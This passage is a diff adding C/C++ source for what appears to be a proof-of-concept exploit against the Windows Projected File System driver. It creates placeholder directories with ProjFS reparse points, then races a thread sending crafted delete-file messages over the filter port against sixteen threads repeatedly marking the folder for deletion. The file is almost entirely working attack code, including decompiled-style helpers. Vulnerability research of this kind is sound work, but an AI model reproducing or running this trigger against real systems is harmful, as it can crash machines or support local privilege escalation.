int)wcsncat_s((PWSTR)(*pszLongPath2), Length + 5, szFilePath, Length)) + { + return 0x80004005; // E_FAIL + } + *pszLongPath = *pszLongPath2; + } + return 0; +} + +HRESULT __fastcall PrjpReadReparsePoint(PCWSTR szFilePath, _PRJ_REPARSE_DATA_BUFFER** pReparseDataBuffer) +{ + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // r15 + PCWSTR ErrorMessage; // rdi + HRESULT hr; // ebx + unsigned __int64 Length; // rcx MAPDST + ULONG Size; // ecx MAPDST + HANDLE FileHandle; // rax MAPDST + signed int LastError; // eax + unsigned int* EventDescriptor; // rdx + LPCWSTR hr64; // [rsp+40h] [rbp-49h] + LPCWSTR szLongPath; // [rsp+40h] [rbp-49h] FORCED BYREF + PCWSTR pszLongPath2; // [rsp+48h] [rbp-41h] BYREF + + + Length = 0xFFFFFFFFFFFFFFFFui64; + hr64 = 0i64; + pszLongPath2 = 0i64; + ErrorMessage = 0i64; + FileHandle = (HANDLE)0xFFFFFFFFFFFFFFFFi64; + if (!pReparseDataBuffer) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_3; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1, 0x4000ui64); + if (!ReparseDataBuffer) + { + ErrorMessage = L"Couldn't allocate memory for Reparse Data"; + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_3: + Size = 2; + return hr; + } + hr = PrjpConstructLongPath(szFilePath, &pszLongPath2, &szLongPath); + if (hr < 0) + { + ErrorMessage = L"PrjpConstructLongPath failed"; + goto LABEL_21; + } + hr = 0; + FileHandle = CreateFileW(szLongPath, 0x80u, 3u, 0i64, 3u, 0x2200000u, 0i64); + if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) + { + ErrorMessage = L"Failed to open file"; + goto LABEL_14; + } + if (!DeviceIoControl(FileHandle, 0x900A8u, 0i64, 0, ReparseDataBuffer, 0x4000u, 0i64, 0i64))// FSCTL_GET_REPARSE_POINT + { + ErrorMessage = L"Failed to get reparse point"; + LABEL_14: + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + LABEL_21: + free(ReparseDataBuffer); + if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) + goto LABEL_25; + goto LABEL_24; + } + if (ReparseDataBuffer->ReparseTag != 0x9000001C && ReparseDataBuffer->ReparseTag != 0xA0000022) + { + ErrorMessage = L"Another Reparse Tag Encountered"; + hr = 0x8007112A; + goto LABEL_21; + } + *pReparseDataBuffer = ReparseDataBuffer; +LABEL_24: + CloseHandle(FileHandle); +LABEL_25: + + if (pszLongPath2) + free((void*)pszLongPath2); + if (hr >= 0) + return hr; + if (hr != 0x80071126) + goto LABEL_3; + + return hr; +} + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION; + +LONG DeleteDirectory(LPCWSTR szDir) +{ + SHFILEOPSTRUCTW fos = { 0 }; + + // delete the folder and everything inside + fos.wFunc = FO_DELETE; + fos.pFrom = szDir; + fos.fFlags = FOF_NO_UI; + return SHFileOperation(&fos); +} + + +struct _PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA +{ + ULONG DataSize; + int _4; + _PRJ_VIR_INSTANCE_INFO VirInstanceInfo; + char _1c[60]; + PRJ_UPDATE_TYPES InfoType; + ULONG RelPathOffset; + USHORT RelPathLength; + WCHAR RelBuffer[MAX_PATH + 1]; +}; + +struct _PRJ_MSG_OPEN_FILE_HANDLER +{ + _PRJ_MSG_IN_HEADER Header; + _PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA Data; +}; + +struct _PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA +{ + int MessageType; + int Size; + int Status; + UUID FileId; +}; + +UUID PrjDeleteFileHandler(HANDLE hPort) +{ + + DWORD InputBufferLength = 0x1000; + PVOID InputBuffer = malloc(InputBufferLength); + + DWORD OutputBufferLength = 0x1000; + PVOID OutputBuffer = malloc(OutputBufferLength); + + memset(InputBuffer, 0, InputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + DWORD BytesReturned = 0; + + _PRJ_MSG_OPEN_FILE_HANDLER Message = { 0 }; + + memset(&Message, 0, sizeof(Message)); + + Message.Header.MessageType = 0x12; + Message.Header.InputBufferSize = sizeof(Message); + Message.Data.DataSize = sizeof(_PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA); + + Message.Data.VirInstanceInfo.Tag = 0x9000001C; + Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId(); + Message.Data.InfoType = PRJ_UPDATE_ALLOW_DIRTY_DATA | PRJ_UPDATE_ALLOW_DIRTY_METADATA | PRJ_UPDATE_ALLOW_TOMBSTONE; + Message.Data.RelPathOffset = 0x62; + Message.Data.RelPathLength = MAX_PATH; + wcscpy_s(Message.Data.RelBuffer, L"aa\\bb"); + //wcscpy_s(Message.Data.RelBuffer, L"New folder (2)"); + + + memcpy(InputBuffer, &Message, sizeof(Message)); + InputBufferLength = Message.Header.InputBufferSize; + + HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); + //printf("FilterSendMessage hResult:%x\n", hResult); + + _PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA*)OutputBuffer; + + //OLECHAR* guidString; + //StringFromCLSID(pOutData->FileId, &guidString); + //wprintf(L"FileId: %s\n", guidString); + + return pOutData->FileId; +} + +HANDLE OpenFolder(LPCWSTR lpcwFileName) { + UNICODE_STRING usFileName = { 0 }; + + RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + ObjectAttributes.Length = 0x30; + ObjectAttributes.ObjectName = &usFileName; + + ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; + ULONG CreateOptions = 0x4021u; + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + HANDLE FileHandle = NULL; + + int Status = NtOpenFile(&FileHandle, 0x110080u, &ObjectAttributes, &IoStatusBlock, 7u, 0x204001u); + + return FileHandle; +} + + +DWORD WINAPI Worker1(LPVOID lpParameter) { + + USHORT Length = 0; + HANDLE FileHandle = NULL; + _PRJ_REPARSE_DATA* ReparseData = NULL; + + ReparseData = CreateReparseData(L"dd", 0x10, &Length); + + while (1) { + //CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1", ReparseData, Length, 0xA0000022, false); + PrjDeleteFileHandler(ghPort); + Sleep(1); + //CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1", ReparseData, Length, 0xA0000022, false); + + //CreateFileW(L"c:\\PrjTest\\virtroot\\aa\\bb\\cc1", FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + //CreateFileW(L"c:\\PrjTest\\virtroot\\aa\\bb\\cc12", FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + //CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc12", ReparseData, Length, 0x9000001C, false); + + //MoveFileExW(L"c:\\PrjTest\\virtroot\\aa\\bb\\cc12", L"c:\\PrjTest\\virtroot\\aa\\bb\\cc1", MOVEFILE_REPLACE_EXISTING); + } + + return 0; +} + +DWORD WINAPI Worker2(LPVOID lpParameter) { + + HANDLE hFolder = OpenFolder(L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb"); + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + + FILE_DISPOSITION_INFORMATION FileDispositionInfo = { 0 }; + + FileDispositionInfo.DeleteFile = 1; + + while (1) { + NtSetInformationFile(hFolder, &IoStatusBlock, &FileDispositionInfo, 1u, FileDispositionInformation); + } + + + + return 0; +} + +void Trigger() { + BOOL bResult = FALSE; + HRESULT hr = 0; + USHORT Length = 0; + HANDLE FileHandle = NULL; + _PRJ_REPARSE_DATA* ReparseData = NULL; + _PRJ_REPARSE_DATA_BUFFER* pReparseDataBuffer = NULL; + + //DeleteDirectory(L"c:\\PrjTest\\virtRoot\\aa\\bb"); + + CreateDirectoryW(L"c:\\PrjTest\\virtRoot\\aa", NULL); + + //CreateDirectoryW(L"c:\\PrjTest\\virtRoot\\aa\\bb2", NULL); + + ReparseData = CreateReparseData(L"dd", 0x10, &Length); + hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb", ReparseData, Length, 0x9000001C, true); + CloseHandle(FileHandle); + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + + hr = PrjMarkDirectoryAsPlaceholder(L"c:\\PrjTest\\virtroot", + L"c:\\PrjTest\\virtroot\\aa\\bb", + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + } + + DeleteFileW(L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1"); + + hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1", ReparseData, Length, 0xA0000022, false); + CloseHandle(FileHandle); + + //hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc2", ReparseData, Length, 0xA0000022, false); + CloseHandle(FileHandle); + + hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc4", ReparseData, Length, 0x9000001C, true); + CloseHandle(FileHandle); + + CreateThread(NULL, 0, Worker1, NULL, 0, NULL); + Sleep(3000); + + for (int i = 0; i < 16; ++i) { + CreateThread(NULL, 0, Worker2, NULL, 0, NULL); + } + + + + Sleep(-1); +} + +void Main() +{ + + CreateVirtualizationRoot(); + StartVirtualizatioInstance(); + PrintInstanceId(); + PortInit(); + + Trigger(); +} + +int wmain(int argc, WCHAR* argv[]) +{ + Main(); + //getchar(); + + return 0; +} + + +int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, + PWSTR szCmdLine, int iCmdShow) +{ + return wmain(__argc, __wargv); +} \ No newline at end of file